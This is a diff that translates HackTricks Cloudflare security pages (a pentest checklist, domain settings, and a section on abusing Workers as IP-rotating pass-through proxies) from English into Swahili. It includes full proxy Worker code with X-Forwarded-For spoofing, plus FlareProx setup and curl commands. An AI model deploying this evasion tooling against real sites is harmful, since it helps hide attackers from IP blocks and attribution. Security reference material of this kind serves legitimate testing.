@@ -32,24 +32,24 @@ _I couldn't find anything to check for a config security review._
On each Cloudflare's page:
- [ ] Check for **sensitive information** in the **`Build log`**.
- [ ] Check for **sensitive information** in the **Github repository** assigned to the pages.
- [ ] Check for potential github repo compromise via **workflow command injection** or `pull_request_target` compromise. More info in the [**Github Security page**](../github-security/index.html).
- [ ] Check for **vulnerable functions** in the `/fuctions` directory (if any), check the **redirects** in the `_redirects` file (if any) and **misconfigured headers** in the `_headers` file (if any).
- [ ] Check for **vulnerabilities** in the **web page** via **blackbox** or **whitebox** if you can **access the code**
- [ ] In the details of each page `/<page_id>/pages/view/blocklist/settings/functions`. Check for **sensitive information** in the **`Environment variables`**.
- [ ] In the details page check also the **build command** and **root directory** for **potential injections** to compromise the page.
- [ ] Angalia taarifa nyeti katika the **`Build log`**.
- [ ] Angalia taarifa nyeti katika the **Github repository** iliyoteuliwa kwa pages.
- [ ] Angalia uwezekano wa kuathiriwa kwa github repo kupitia **workflow command injection** au udhaifu wa `pull_request_target`. More info in the [**Github Security page**](../github-security/index.html).
- [ ] Angalia vulnerable functions katika the `/fuctions` directory (ikiwa ipo), angalia the **redirects** katika faili `_redirects` (ikiwa ipo) na **misconfigured headers** katika faili `_headers` (ikiwa ipo).
- [ ] Angalia vulnerabilities katika the web page kupitia **blackbox** au **whitebox** ikiwa unaweza kupata code.
- [ ] Katika maelezo ya kila page `/<page_id>/pages/view/blocklist/settings/functions`. Angalia taarifa nyeti katika the **`Environment variables`**.
- [ ] Katika ukurasa wa maelezo angalia pia the **build command** na **root directory** kwa uwezekano wa injections ili kuathiri page.
## **Workers**
On each Cloudflare's worker check:
- [ ] The triggers: What makes the worker trigger? Can a **user send data** that will be **used** by the worker?
- [ ] In the **`Settings`**, check for **`Variables`** containing **sensitive information**
- [ ] Check the **code of the worker** and search for **vulnerabilities** (specially in places where the user can manage the input)
- Check for SSRFs returning the indicated page that you can control
- Check XSSs executing JS inside a svg image
- It is possible that the worker interacts with other internal services. For example, a worker may interact with a R2 bucket storing information in it obtained from the input. In that case, it would be necessary to check what capabilities does the worker have over the R2 bucket and how could it be abused from the user input.
- [ ] The triggers: Nini kinachosababisha the worker ianze? Je, mtumiaji anaweza kutuma data itakayotumika na the worker?
- [ ] Kwenye **`Settings`**, angalia **`Variables`** zenye taarifa nyeti
- [ ] Angalia code ya the worker na tafuta vulnerabilities (hasa sehemu ambapo mtumiaji anaweza kudhibiti input)
- Check for SSRFs returning the indicated page that you can control
- Check XSSs executing JS inside a svg image
- Inawezekana the worker inashirikiana na huduma nyingine za ndani. Kwa mfano, worker inaweza kuingiliana na R2 bucket kuhifadhi taarifa iliyopatikana kutoka kwa input. Katika kesi hiyo, inabidi ukague uwezo gani the worker ina juu ya the R2 bucket na jinsi inavyoweza kutumika vibaya kutokana na input ya mtumiaji.
> [!WARNING]
> Note that by default a **Worker is given a URL** such as `<worker-name>.<account>.workers.dev`. The user can set it to a **subdomain** but you can always access it with that **original URL** if you know it.
@@ -64,7 +64,7 @@ cloudflare-workers-pass-through-proxy-ip-rotation.md
On each R2 bucket check:
- [ ] Configure **CORS Policy**.
- [ ] Sanidi **CORS Policy**.
## Stream
@@ -76,8 +76,8 @@ TODO
## Security Center
- [ ] If possible, run a **`Security Insights`** **scan** and an **`Infrastructure`** **scan**, as they will **highlight** interesting information **security** wise.
- [ ] Just **check this information** for security misconfigurations and interesting info
- [ ] Ikiwa inawezekana, endesha skani ya **`Security Insights`** na skani ya **`Infrastructure`**, kwani zitatoa taarifa za kuvutia kwa upande wa usalama.
- [ ] Angalia tu taarifa hizi kwa ajili ya misanidi isiyo sahihi ya usalama na taarifa za kuvutia
## Turnstile
@@ -94,41 +94,41 @@ cloudflare-zero-trust-network.md
> [!NOTE]
> Unlike [Dynamic Redirects](https://developers.cloudflare.com/rules/url-forwarding/dynamic-redirects/), [**Bulk Redirects**](https://developers.cloudflare.com/rules/url-forwarding/bulk-redirects/) are essentially static — they do **not support any string replacement** operations or regular expressions. However, you can configure URL redirect parameters that affect their URL matching behavior and their runtime behavior.
- [ ] Check that the **expressions** and **requirements** for redirects **make sense**.
- [ ] Check also for **sensitive hidden endpoints** that you contain interesting info.
- [ ] Angalia kwamba the **expressions** na **requirements** za redirects zinafanya maana.
- [ ] Angalia pia kwa **sensitive hidden endpoints** ambazo zinaweza kuwa na taarifa za kuvutia.
## Notifications
- [ ] Check the **notifications.** These notifications are recommended for security:
- `Usage Based Billing`
- `HTTP DDoS Attack Alert`
- `Layer 3/4 DDoS Attack Alert`
- `Advanced HTTP DDoS Attack Alert`
- `Advanced Layer 3/4 DDoS Attack Alert`
- `Flow-based Monitoring: Volumetric Attack`
- `Route Leak Detection Alert`
- `Access mTLS Certificate Expiration Alert`
- `SSL for SaaS Custom Hostnames Alert`
- `Universal SSL Alert`
- `Script Monitor New Code Change Detection Alert`
- `Script Monitor New Domain Alert`
- `Script Monitor New Malicious Domain Alert`
- `Script Monitor New Malicious Script Alert`
- `Script Monitor New Malicious URL Alert`
- `Script Monitor New Scripts Alert`
- `Script Monitor New Script Exceeds Max URL Length Alert`
- `Advanced Security Events Alert`
- `Security Events Alert`
- [ ] Check all the **destinations**, as there could be **sensitive info** (basic http auth) in webhook urls. Make also sure webhook urls use **HTTPS**
- [ ] As extra check, you could try to **impersonate a cloudflare notification** to a third party, maybe you can somehow **inject something dangerous**
- [ ] Angalia the **notifications.** Hizi notifications zinapendekezwa kwa usalama:
- `Usage Based Billing`
- `HTTP DDoS Attack Alert`
- `Layer 3/4 DDoS Attack Alert`
- `Advanced HTTP DDoS Attack Alert`
- `Advanced Layer 3/4 DDoS Attack Alert`
- `Flow-based Monitoring: Volumetric Attack`
- `Route Leak Detection Alert`
- `Access mTLS Certificate Expiration Alert`
- `SSL for SaaS Custom Hostnames Alert`
- `Universal SSL Alert`
- `Script Monitor New Code Change Detection Alert`
- `Script Monitor New Domain Alert`
- `Script Monitor New Malicious Domain Alert`
- `Script Monitor New Malicious Script Alert`
- `Script Monitor New Malicious URL Alert`
- `Script Monitor New Scripts Alert`
- `Script Monitor New Script Exceeds Max URL Length Alert`
- `Advanced Security Events Alert`
- `Security Events Alert`
- [ ] Angalia yote the **destinations**, kwa kuwa kunaweza kuwa na **sensitive info** (basic http auth) katika webhook urls. Pia hakikisha webhook urls zinatumia **HTTPS**
- [ ] Kama ukaguzi wa ziada, unaweza kujaribu kuigiza cloudflare notification kwa mtu wa tatu; labda kwa namna fulani utaweza kuingiza kitu hatari
## Manage Account
- [ ] It's possible to see the **last 4 digits of the credit card**, **expiration** time and **billing address** in **`Billing` -> `Payment info`**.
- [ ] It's possible to see the **plan type** used in the account in **`Billing` -> `Subscriptions`**.
- [ ] In **`Members`** it's possible to see all the members of the account and their **role**. Note that if the plan type isn't Enterprise, only 2 roles exist: Administrator and Super Administrator. But if the used **plan is Enterprise**, [**more roles**](https://developers.cloudflare.com/fundamentals/account-and-billing/account-setup/account-roles/) can be used to follow the least privilege principle.
- Therefore, whenever possible is **recommended** to use the **Enterprise plan**.
- [ ] In Members it's possible to check which **members** has **2FA enabled**. **Every** user should have it enabled.
- [ ] Inawezekana kuona tarakimu 4 za mwisho za kadi ya mkopo, tarehe ya kumalizika na anuani ya bili katika `Billing` -> `Payment info`.
- [ ] Inawezekana kuona aina ya plan inayotumika katika akaunti katika `Billing` -> `Subscriptions`.
- [ ] Kwenye **`Members`** inawezekana kuona wanachama wote wa akaunti na role zao. Kumbuka kwamba ikiwa aina ya plan si Enterprise, kuna roles 2 tu: Administrator na Super Administrator. Lakini ikiwa `plan is Enterprise`, [**more roles**](https://developers.cloudflare.com/fundamentals/account-and-billing/account-setup/account-roles/) zinaweza kutumika kufuata kanuni ya least privilege.
- Kwa hivyo, inapowezekana inashauriwa kutumia the **Enterprise plan**.
- [ ] Kwenye Members inawezekana kukagua ni wapi **members** wana **2FA enabled**. **Kila** mtumiaji anapaswa kuwa na 2FA imewezeshwa.
> [!NOTE]
> Note that fortunately the role **`Administrator`** doesn't give permissions to manage memberships (**cannot escalate privs or invite** new members)
@@ -138,6 +138,3 @@ cloudflare-zero-trust-network.md
[Check this part](cloudflare-domains.md#cloudflare-ddos-protection).
{{#include ../../banners/hacktricks-training.md}}

View File

@@ -2,31 +2,31 @@
{{#include ../../banners/hacktricks-training.md}}
In each TLD configured in Cloudflare there are some **general settings and services** that can be configured. In this page we are going to **analyze the security related settings of each section:**
Katika kila TLD iliyowekwa kwenye Cloudflare kuna **mipangilio na huduma za jumla** ambazo zinaweza kuwekwa. Katika ukurasa huu tutachambua **mipangilio inayohusiana na usalama ya kila sehemu:**
<figure><img src="../../images/image (101).png" alt=""><figcaption></figcaption></figure>
### Overview
### Muhtasari
- [ ] Get a feeling of **how much** are the services of the account **used**
- [ ] Find also the **zone ID** and the **account ID**
- [ ] Pata hisia ya **ni kiasi gani** huduma za akaunti **zinatumika**
- [ ] Pata pia **zone ID** na **account ID**
### Analytics
### Uchambuzi
- [ ] In **`Security`** check if there is any **Rate limiting**
- [ ] Katika **`Security`** angalia kama kuna **Rate limiting**
### DNS
- [ ] Check **interesting** (sensitive?) data in DNS **records**
- [ ] Check for **subdomains** that could contain **sensitive info** just based on the **name** (like admin173865324.domin.com)
- [ ] Check for web pages that **aren't** **proxied**
- [ ] Check for **proxified web pages** that can be **accessed directly** by CNAME or IP address
- [ ] Check that **DNSSEC** is **enabled**
- [ ] Check that **CNAME Flattening** is **used** in **all CNAMEs**
- This is could be useful to **hide subdomain takeover vulnerabilities** and improve load timings
- [ ] Check that the domains [**aren't vulnerable to spoofing**](https://book.hacktricks.wiki/en/network-services-pentesting/pentesting-smtp/index.html#mail-spoofing)
- [ ] Angalia **data za kuvutia** (nyeti?) katika **records** za DNS
- [ ] Angalia **subdomains** ambazo zinaweza kuwa na **habari nyeti** kulingana na **jina** (kama admin173865324.domin.com)
- [ ] Angalia kurasa za wavuti ambazo **hazijapitiwa** **proxied**
- [ ] Angalia kwa **kurasa za wavuti zilizopitishwa** ambazo zinaweza **kupatikana moja kwa moja** kwa CNAME au anwani ya IP
- [ ] Hakikisha kuwa **DNSSEC** ime **wezeshwa**
- [ ] Hakikisha kuwa **CNAME Flattening** inatumika katika **CNAME zote**
- Hii inaweza kuwa na manufaa kuficha **udhaifu wa kuchukua subdomain** na kuboresha muda wa kupakia
- [ ] Hakikisha kuwa majina ya **hayana udhaifu wa spoofing** [**hayana udhaifu wa spoofing**](https://book.hacktricks.wiki/en/network-services-pentesting/pentesting-smtp/index.html#mail-spoofing)
### **Email**
### **Barua pepe**
TODO
@@ -36,91 +36,91 @@ TODO
### SSL/TLS
#### **Overview**
#### **Muhtasari**
- [ ] The **SSL/TLS encryption** should be **Full** or **Full (Strict)**. Any other will send **clear-text traffic** at some point.
- [ ] The **SSL/TLS Recommender** should be enabled
- [ ] **SSL/TLS encryption** inapaswa kuwa **Full** au **Full (Strict)**. Mengineyo yatatuma **trafiki ya maandiko wazi** kwa wakati fulani.
- [ ] **SSL/TLS Recommender** inapaswa kuwa imewezeshwa
#### Edge Certificates
#### Vyeti vya Edge
- [ ] **Always Use HTTPS** should be **enabled**
- [ ] **HTTP Strict Transport Security (HSTS)** should be **enabled**
- [ ] **Minimum TLS Version should be 1.2**
- [ ] **TLS 1.3 should be enabled**
- [ ] **Automatic HTTPS Rewrites** should be **enabled**
- [ ] **Certificate Transparency Monitoring** should be **enabled**
- [ ] **Daima Tumia HTTPS** inapaswa kuwa **imewezeshwa**
- [ ] **HTTP Strict Transport Security (HSTS)** inapaswa kuwa **imewezeshwa**
- [ ] **Tofauti ya chini ya TLS inapaswa kuwa 1.2**
- [ ] **TLS 1.3 inapaswa kuwa imewezeshwa**
- [ ] **Marekebisho ya kiotomatiki ya HTTPS** inapaswa kuwa **imewezeshwa**
- [ ] **Ufuatiliaji wa Uwazi wa Cheti** inapaswa kuwa **imewezeshwa**
### **Security**
### **Usalama**
- [ ] In the **`WAF`** section it's interesting to check that **Firewall** and **rate limiting rules are used** to prevent abuses.
- The **`Bypass`** action will **disable Cloudflare security** features for a request. It shouldn't be used.
- [ ] In the **`Page Shield`** section it's recommended to check that it's **enabled** if any page is used
- [ ] In the **`API Shield`** section it's recommended to check that it's **enabled** if any API is exposed in Cloudflare
- [ ] In the **`DDoS`** section it's recommended to enable the **DDoS protections**
- [ ] In the **`Settings`** section:
- [ ] Check that the **`Security Level`** is **medium** or greater
- [ ] Check that the **`Challenge Passage`** is 1 hour at max
- [ ] Check that the **`Browser Integrity Check`** is **enabled**
- [ ] Check that the **`Privacy Pass Support`** is **enabled**
- [ ] Katika sehemu ya **`WAF`** ni muhimu kuangalia kwamba **Firewall** na **kanuni za rate limiting zinatumika** kuzuia matumizi mabaya.
- Kitendo cha **`Bypass`** kita **zima vipengele vya usalama vya Cloudflare** kwa ombi. Hakipaswi kutumika.
- [ ] Katika sehemu ya **`Page Shield`** inapendekezwa kuangalia kwamba ime **wezeshwa** ikiwa ukurasa wowote unatumika
- [ ] Katika sehemu ya **`API Shield`** inapendekezwa kuangalia kwamba ime **wezeshwa** ikiwa API yoyote inafichuliwa kwenye Cloudflare
- [ ] Katika sehemu ya **`DDoS`** inapendekezwa kuwezesha **ulinzi wa DDoS**
- [ ] Katika sehemu ya **`Settings`**:
- [ ] Hakikisha kuwa **`Security Level`** ni **kati** au zaidi
- [ ] Hakikisha kuwa **`Challenge Passage`** ni saa 1 kwa max
- [ ] Hakikisha kuwa **`Browser Integrity Check`** ime **wezeshwa**
- [ ] Hakikisha kuwa **`Privacy Pass Support`** ime **wezeshwa**
#### **CloudFlare DDoS Protection**
#### **Ulinzi wa DDoS wa CloudFlare**
- If you can, enable **Bot Fight Mode** or **Super Bot Fight Mode**. If you protecting some API accessed programmatically (from a JS front end page for example). You might not be able to enable this without breaking that access.
- In **WAF**: You can create **rate limits by URL path** or to **verified bots** (Rate limiting rules), or to **block access** based on IP, Cookie, referrer...). So you could block requests that doesn't come from a web page or has a cookie.
- If the attack is from a **verified bot**, at least **add a rate limit** to bots.
- If the attack is to a **specific path**, as prevention mechanism, add a **rate limit** in this path.
- You can also **whitelist** IP addresses, IP ranges, countries or ASNs from the **Tools** in WAF.
- Check if **Managed rules** could also help to prevent vulnerability exploitations.
- In the **Tools** section you can **block or give a challenge to specific IPs** and **user agents.**
- In DDoS you could **override some rules to make them more restrictive**.
- **Settings**: Set **Security Level** to **High** and to **Under Attack** if you are Under Attack and that the **Browser Integrity Check is enabled**.
- In Cloudflare Domains -> Analytics -> Security -> Check if **rate limit** is enabled
- In Cloudflare Domains -> Security -> Events -> Check for **detected malicious Events**
- Ikiwa unaweza, wezesha **Bot Fight Mode** au **Super Bot Fight Mode**. Ikiwa unalinda API fulani inayopatikana kwa njia ya programu (kutoka ukurasa wa mbele wa JS kwa mfano). Huenda usiweze kuwezesha hii bila kuvunja ufikiaji huo.
- Katika **WAF**: Unaweza kuunda **mipaka ya kiwango kwa njia ya URL** au kwa **bots zilizothibitishwa** (kanuni za rate limiting), au **kuzuia ufikiaji** kulingana na IP, Cookie, referrer...). Hivyo unaweza kuzuia maombi ambayo hayajatoka kwenye ukurasa wa wavuti au yana cookie.
- Ikiwa shambulio linatoka kwa **bot iliyothibitishwa**, angalau **ongeza kiwango cha mipaka** kwa bots.
- Ikiwa shambulio linahusiana na **njia maalum**, kama njia ya kuzuia, ongeza **mipaka ya kiwango** katika njia hii.
- Unaweza pia **kuongeza orodha ya nyeupe** anwani za IP, anuwai za IP, nchi au ASNs kutoka **Zana** katika WAF.
- Angalia ikiwa **Kanuni Zinazosimamiwa** zinaweza pia kusaidia kuzuia matumizi mabaya ya udhaifu.
- Katika sehemu ya **Zana** unaweza **kuzuia au kutoa changamoto kwa IP maalum** na **wakala wa mtumiaji.**
- Katika DDoS unaweza **kuzidisha baadhi ya kanuni ili kuzifanya kuwa kali zaidi**.
- **Mipangilio**: Weka **Kiwango cha Usalama** kuwa **Juu** na kuwa **Chini ya Shambulio** ikiwa uko chini ya shambulio na kwamba **Browser Integrity Check imewezeshwa**.
- Katika Cloudflare Domains -> Uchambuzi -> Usalama -> Angalia ikiwa **rate limit** imewezeshwa
- Katika Cloudflare Domains -> Usalama -> Matukio -> Angalia kwa **matukio mabaya yaliyogunduliwa**
### Access
### Ufikiaji
{{#ref}}
cloudflare-zero-trust-network.md
{{#endref}}
### Speed
### Kasi
_I couldn't find any option related to security_
_Sikuweza kupata chaguo lolote linalohusiana na usalama_
### Caching
- [ ] In the **`Configuration`** section consider enabling the **CSAM Scanning Tool**
- [ ] Katika sehemu ya **`Configuration`** fikiria kuwezesha **Zana ya Skanning ya CSAM**
### **Workers Routes**
### **Njia za Wafanyakazi**
_You should have already checked_ [_cloudflare workers_](#workers)
_Umeweza tayari kuangalia_ [_cloudflare workers_](#workers)
### Rules
### Kanuni
TODO
### Network
### Mtandao
- [ ] If **`HTTP/2`** is **enabled**, **`HTTP/2 to Origin`** should be **enabled**
- [ ] **`HTTP/3 (with QUIC)`** should be **enabled**
- [ ] If the **privacy** of your **users** is important, make sure **`Onion Routing`** is **enabled**
- [ ] Ikiwa **`HTTP/2`** ime **wezeshwa**, **`HTTP/2 to Origin`** inapaswa kuwa **imewezeshwa**
- [ ] **`HTTP/3 (na QUIC)`** inapaswa kuwa **imewezeshwa**
- [ ] Ikiwa **faragha** ya **watumiaji** wako ni muhimu, hakikisha **`Onion Routing`** ime **wezeshwa**
### **Traffic**
### **Mwanzo**
TODO
### Custom Pages
### Kurasa za Kawaida
- [ ] It's optional to configure custom pages when an error related to security is triggered (like a block, rate limiting or I'm under attack mode)
- [ ] Ni hiari kuweka mipangilio ya kurasa za kawaida wakati kosa linalohusiana na usalama linapotokea (kama kizuizi, rate limiting au niko chini ya shambulio)
### Apps
### Mifumo
TODO
### Scrape Shield
- [ ] Check **Email Address Obfuscation** is **enabled**
- [ ] Check **Server-side Excludes** is **enabled**
- [ ] Angalia **Uondoaji wa Anwani za Barua pepe** ume **wezeshwa**
- [ ] Angalia **Kujiondoa kwa Seva** ume **wezeshwa**
### **Zaraz**
@@ -131,6 +131,3 @@ TODO
TODO
{{#include ../../banners/hacktricks-training.md}}

View File

@@ -1,230 +1,220 @@
# Abusing Cloudflare Workers as pass-through proxies (IP rotation, FireProx-style)
# Kutumia vibaya Cloudflare Workers kama pass-through proxies (IP rotation, FireProx-style)
{{#include ../../banners/hacktricks-training.md}}
Cloudflare Workers can be deployed as transparent HTTP pass-through proxies where the upstream target URL is supplied by the client. Requests egress from Cloudflare's network so the target observes Cloudflare IPs instead of the client's. This mirrors the well-known FireProx technique on AWS API Gateway, but uses Cloudflare Workers.
Cloudflare Workers inaweza kuwekwa kama transparent HTTP pass-through proxies ambapo target URL ya upstream inatolewa na mteja. Maombi yanaondoka kutoka kwenye mtandao wa Cloudflare kwa hivyo target inaona Cloudflare IPs badala ya za mteja. Hii inafanana na mbinu maarufu ya FireProx kwenye AWS API Gateway, lakini inatumia Cloudflare Workers.
### Key capabilities
- Support for all HTTP methods (GET, POST, PUT, DELETE, PATCH, OPTIONS, HEAD)
- Target can be supplied via query parameter (?url=...), a header (X-Target-URL), or even encoded in the path (e.g., /https://target)
- Headers and body are proxied through with hop-by-hop/header filtering as needed
- Responses are relayed back, preserving status code and most headers
- Optional spoofing of X-Forwarded-For (if the Worker sets it from a user-controlled header)
- Extremely fast/easy rotation by deploying multiple Worker endpoints and fanning out requests
### Sifa kuu
- Inasaidia njia zote za HTTP (GET, POST, PUT, DELETE, PATCH, OPTIONS, HEAD)
- Target inaweza kutolewa kupitia query parameter (?url=...), header (X-Target-URL), au hata kuwa encoded katika path (mfano, /https://target)
- Headers na body zinapitishwa kwa proxy kwa ufuatiliaji wa hop-by-hop/header filtering inapohitajika
- Majibu yamerudishwa, yakihifadhi status code na headers nyingi
- Uwezo wa kujigaunjua X-Forwarded-For (ikiwa Worker inaiweka kutoka kwenye header inayotawala na mtumiaji)
- Mzunguko wa IP wa haraka/rahisi kwa kupeleka endpoints za Worker nyingi na kunyonya requests
### How it works (flow)
1) Client sends an HTTP request to a Worker URL (`<name>.<account>.workers.dev` or a custom domain route).
2) Worker extracts the target from either a query parameter (?url=...), the X-Target-URL header, or a path segment if implemented.
3) Worker forwards the incoming method, headers, and body to the specified upstream URL (filtering problematic headers).
4) Upstream response is streamed back to the client through Cloudflare; the origin sees Cloudflare egress IPs.
### Jinsi inavyofanya kazi (mtiririko)
1) Mteja anatuma ombi la HTTP kwa Worker URL (`<name>.<account>.workers.dev` au njia ya domain maalum).
2) Worker huvunja target kutoka ama query parameter (?url=...), header ya X-Target-URL, au kipande cha path ikiwa imefanywa hivyo.
3) Worker hupeleka njia (method), headers, na body zinazokuja kwenda kwenye URL ya upstream iliyobainishwa (ukienda kusafisha headers zenye shida).
4) Jibu kutoka upstream hupanuliwa/hupelekwa nyuma kwa mteja kupitia Cloudflare; origin inaona Cloudflare egress IPs.
### Worker implementation example
- Reads target URL from query param, header, or path
- Copies a safe subset of headers and forwards the original method/body
- Optionally sets X-Forwarded-For using a user-controlled header (X-My-X-Forwarded-For) or a random IP
- Adds permissive CORS and handles preflight
### Worker implementation example
- Husesha target URL kutoka query param, header, au path
- Inakopa subset salama ya headers na kupeleka njia/body ya awali
- Hiari huweka X-Forwarded-For kwa kutumia header inayodhibitiwa na mtumiaji (X-My-X-Forwarded-For) au IP nasibu
- Inaongeza CORS permissive na kushughulikia preflight
<details>
<summary>Example Worker (JavaScript) for pass-through proxying</summary>
<summary>Mfano wa Worker (JavaScript) kwa pass-through proxying</summary>
```javascript
/**
* Minimal Worker pass-through proxy
* - Target URL from ?url=, X-Target-URL, or /https://...
* - Proxies method/headers/body to upstream; relays response
*/
* Minimal Worker pass-through proxy
* - Target URL from ?url=, X-Target-URL, or /https://...
* - Proxies method/headers/body to upstream; relays response
*/
addEventListener('fetch', event => {
event.respondWith(handleRequest(event.request))
event.respondWith(handleRequest(event.request))
})
async function handleRequest(request) {
try {
const url = new URL(request.url)
const targetUrl = getTargetUrl(url, request.headers)
try {
const url = new URL(request.url)
const targetUrl = getTargetUrl(url, request.headers)
if (!targetUrl) {
return errorJSON('No target URL specified', 400, {
usage: {
query_param: '?url=https://example.com',
header: 'X-Target-URL: https://example.com',
path: '/https://example.com'
}
})
}
if (!targetUrl) {
return errorJSON('No target URL specified', 400, {
usage: {
query_param: '?url=https://example.com',
header: 'X-Target-URL: https://example.com',
path: '/https://example.com'
}
})
}
let target
try { target = new URL(targetUrl) } catch (e) {
return errorJSON('Invalid target URL', 400, { provided: targetUrl })
}
let target
try { target = new URL(targetUrl) } catch (e) {
return errorJSON('Invalid target URL', 400, { provided: targetUrl })
}
// Forward original query params except control ones
const passthru = new URLSearchParams()
for (const [k, v] of url.searchParams) {
if (!['url', '_cb', '_t'].includes(k)) passthru.append(k, v)
}
if (passthru.toString()) target.search = passthru.toString()
// Forward original query params except control ones
const passthru = new URLSearchParams()
for (const [k, v] of url.searchParams) {
if (!['url', '_cb', '_t'].includes(k)) passthru.append(k, v)
}
if (passthru.toString()) target.search = passthru.toString()
// Build proxied request
const proxyReq = buildProxyRequest(request, target)
const upstream = await fetch(proxyReq)
// Build proxied request
const proxyReq = buildProxyRequest(request, target)
const upstream = await fetch(proxyReq)
return buildProxyResponse(upstream, request.method)
} catch (error) {
return errorJSON('Proxy request failed', 500, {
message: error.message,
timestamp: new Date().toISOString()
})
}
return buildProxyResponse(upstream, request.method)
} catch (error) {
return errorJSON('Proxy request failed', 500, {
message: error.message,
timestamp: new Date().toISOString()
})
}
}
function getTargetUrl(url, headers) {
let t = url.searchParams.get('url') || headers.get('X-Target-URL')
if (!t && url.pathname !== '/') {
const p = url.pathname.slice(1)
if (p.startsWith('http')) t = p
}
return t
let t = url.searchParams.get('url') || headers.get('X-Target-URL')
if (!t && url.pathname !== '/') {
const p = url.pathname.slice(1)
if (p.startsWith('http')) t = p
}
return t
}
function buildProxyRequest(request, target) {
const h = new Headers()
const allow = [
'accept','accept-language','accept-encoding','authorization',
'cache-control','content-type','origin','referer','user-agent'
]
for (const [k, v] of request.headers) {
if (allow.includes(k.toLowerCase())) h.set(k, v)
}
h.set('Host', target.hostname)
const h = new Headers()
const allow = [
'accept','accept-language','accept-encoding','authorization',
'cache-control','content-type','origin','referer','user-agent'
]
for (const [k, v] of request.headers) {
if (allow.includes(k.toLowerCase())) h.set(k, v)
}
h.set('Host', target.hostname)
// Optional: spoof X-Forwarded-For if provided
const spoof = request.headers.get('X-My-X-Forwarded-For')
h.set('X-Forwarded-For', spoof || randomIP())
// Optional: spoof X-Forwarded-For if provided
const spoof = request.headers.get('X-My-X-Forwarded-For')
h.set('X-Forwarded-For', spoof || randomIP())
return new Request(target.toString(), {
method: request.method,
headers: h,
body: ['GET','HEAD'].includes(request.method) ? null : request.body
})
return new Request(target.toString(), {
method: request.method,
headers: h,
body: ['GET','HEAD'].includes(request.method) ? null : request.body
})
}
function buildProxyResponse(resp, method) {
const h = new Headers()
for (const [k, v] of resp.headers) {
if (!['content-encoding','content-length','transfer-encoding'].includes(k.toLowerCase())) {
h.set(k, v)
}
}
// Permissive CORS for tooling convenience
h.set('Access-Control-Allow-Origin', '*')
h.set('Access-Control-Allow-Methods', 'GET, POST, PUT, DELETE, OPTIONS, PATCH, HEAD')
h.set('Access-Control-Allow-Headers', '*')
const h = new Headers()
for (const [k, v] of resp.headers) {
if (!['content-encoding','content-length','transfer-encoding'].includes(k.toLowerCase())) {
h.set(k, v)
}
}
// Permissive CORS for tooling convenience
h.set('Access-Control-Allow-Origin', '*')
h.set('Access-Control-Allow-Methods', 'GET, POST, PUT, DELETE, OPTIONS, PATCH, HEAD')
h.set('Access-Control-Allow-Headers', '*')
if (method === 'OPTIONS') return new Response(null, { status: 204, headers: h })
return new Response(resp.body, { status: resp.status, statusText: resp.statusText, headers: h })
if (method === 'OPTIONS') return new Response(null, { status: 204, headers: h })
return new Response(resp.body, { status: resp.status, statusText: resp.statusText, headers: h })
}
function errorJSON(msg, status=400, extra={}) {
return new Response(JSON.stringify({ error: msg, ...extra }), {
status, headers: { 'Content-Type': 'application/json' }
})
return new Response(JSON.stringify({ error: msg, ...extra }), {
status, headers: { 'Content-Type': 'application/json' }
})
}
function randomIP() { return [1,2,3,4].map(() => Math.floor(Math.random()*255)+1).join('.') }
```
</details>
### Automating deployment and rotation with FlareProx
### Kuendesha kiotomatiki deployment na rotation na FlareProx
FlareProx is a Python tool that uses the Cloudflare API to deploy many Worker endpoints and rotate across them. This provides FireProx-like IP rotation from Cloudflares network.
FlareProx ni zana ya Python inayotumia Cloudflare API ku-deploy Worker endpoints nyingi na ku-rotate kati yao. Hii inatoa FireProx-like IP rotation kutoka kwenye mtandao wa Cloudflare.
Setup
1) Create a Cloudflare API Token using the “Edit Cloudflare Workers” template and get your Account ID from the dashboard.
2) Configure FlareProx:
1) Unda Cloudflare API Token ukitumia kiolezo “Edit Cloudflare Workers” na upate Account ID yako kutoka kwenye dashboard.
2) Sanidi FlareProx:
```bash
git clone https://github.com/MrTurvey/flareprox
cd flareprox
pip install -r requirements.txt
```
**Create config file flareprox.json:**
**Tengeneza faili ya usanidi flareprox.json:**
```json
{
"cloudflare": {
"api_token": "your_cloudflare_api_token",
"account_id": "your_cloudflare_account_id"
}
"cloudflare": {
"api_token": "your_cloudflare_api_token",
"account_id": "your_cloudflare_account_id"
}
}
```
**Matumizi ya CLI**
**CLI usage**
- Create N Worker proxies:
- Unda N Worker proxies:
```bash
python3 flareprox.py create --count 2
```
- List endpoints:
- Orodhesha endpoints:
```bash
python3 flareprox.py list
```
- Health-test endpoints:
- Endpoints za mtihani wa afya:
```bash
python3 flareprox.py test
```
- Delete all endpoints:
- Futa endpoints zote:
```bash
python3 flareprox.py cleanup
```
**Routing traffic through a Worker**
- Query parameter form:
**Kupitisha trafiki kupitia Worker**
- Fomu ya query parameter:
```bash
curl "https://your-worker.account.workers.dev?url=https://httpbin.org/ip"
```
- Header form:
Fomu ya kichwa:
```bash
curl -H "X-Target-URL: https://httpbin.org/ip" https://your-worker.account.workers.dev
```
- Path form (if implemented):
- Fomu ya path (ikiwa imetekelezwa):
```bash
curl https://your-worker.account.workers.dev/https://httpbin.org/ip
```
- Method examples:
- Mifano ya mbinu:
```bash
# GET
curl "https://your-worker.account.workers.dev?url=https://httpbin.org/get"
# POST (form)
curl -X POST -d "username=admin" \
"https://your-worker.account.workers.dev?url=https://httpbin.org/post"
"https://your-worker.account.workers.dev?url=https://httpbin.org/post"
# PUT (JSON)
curl -X PUT -d '{"username":"admin"}' -H "Content-Type: application/json" \
"https://your-worker.account.workers.dev?url=https://httpbin.org/put"
"https://your-worker.account.workers.dev?url=https://httpbin.org/put"
# DELETE
curl -X DELETE \
"https://your-worker.account.workers.dev?url=https://httpbin.org/delete"
"https://your-worker.account.workers.dev?url=https://httpbin.org/delete"
```
**`X-Forwarded-For` udhibiti**
**`X-Forwarded-For` control**
If the Worker honors `X-My-X-Forwarded-For`, you can influence the upstream `X-Forwarded-For` value:
Ikiwa Worker itaheshimu `X-My-X-Forwarded-For`, unaweza kuathiri thamani ya `X-Forwarded-For` ya upstream:
```bash
curl -H "X-My-X-Forwarded-For: 203.0.113.10" \
"https://your-worker.account.workers.dev?url=https://httpbin.org/headers"
"https://your-worker.account.workers.dev?url=https://httpbin.org/headers"
```
**Matumizi ya programatiki**
**Programmatic usage**
Use the FlareProx library to create/list/test endpoints and route requests from Python.
Tumia maktaba ya FlareProx kuunda/kuorodhesha/kujaribu endpoints na kupitisha requests kutoka Python.
<details>
<summary>Python example: Send a POST via a random Worker endpoint</summary>
<summary>Mfano wa Python: Tuma POST kupitia endpoint ya Worker nasibu</summary>
```python
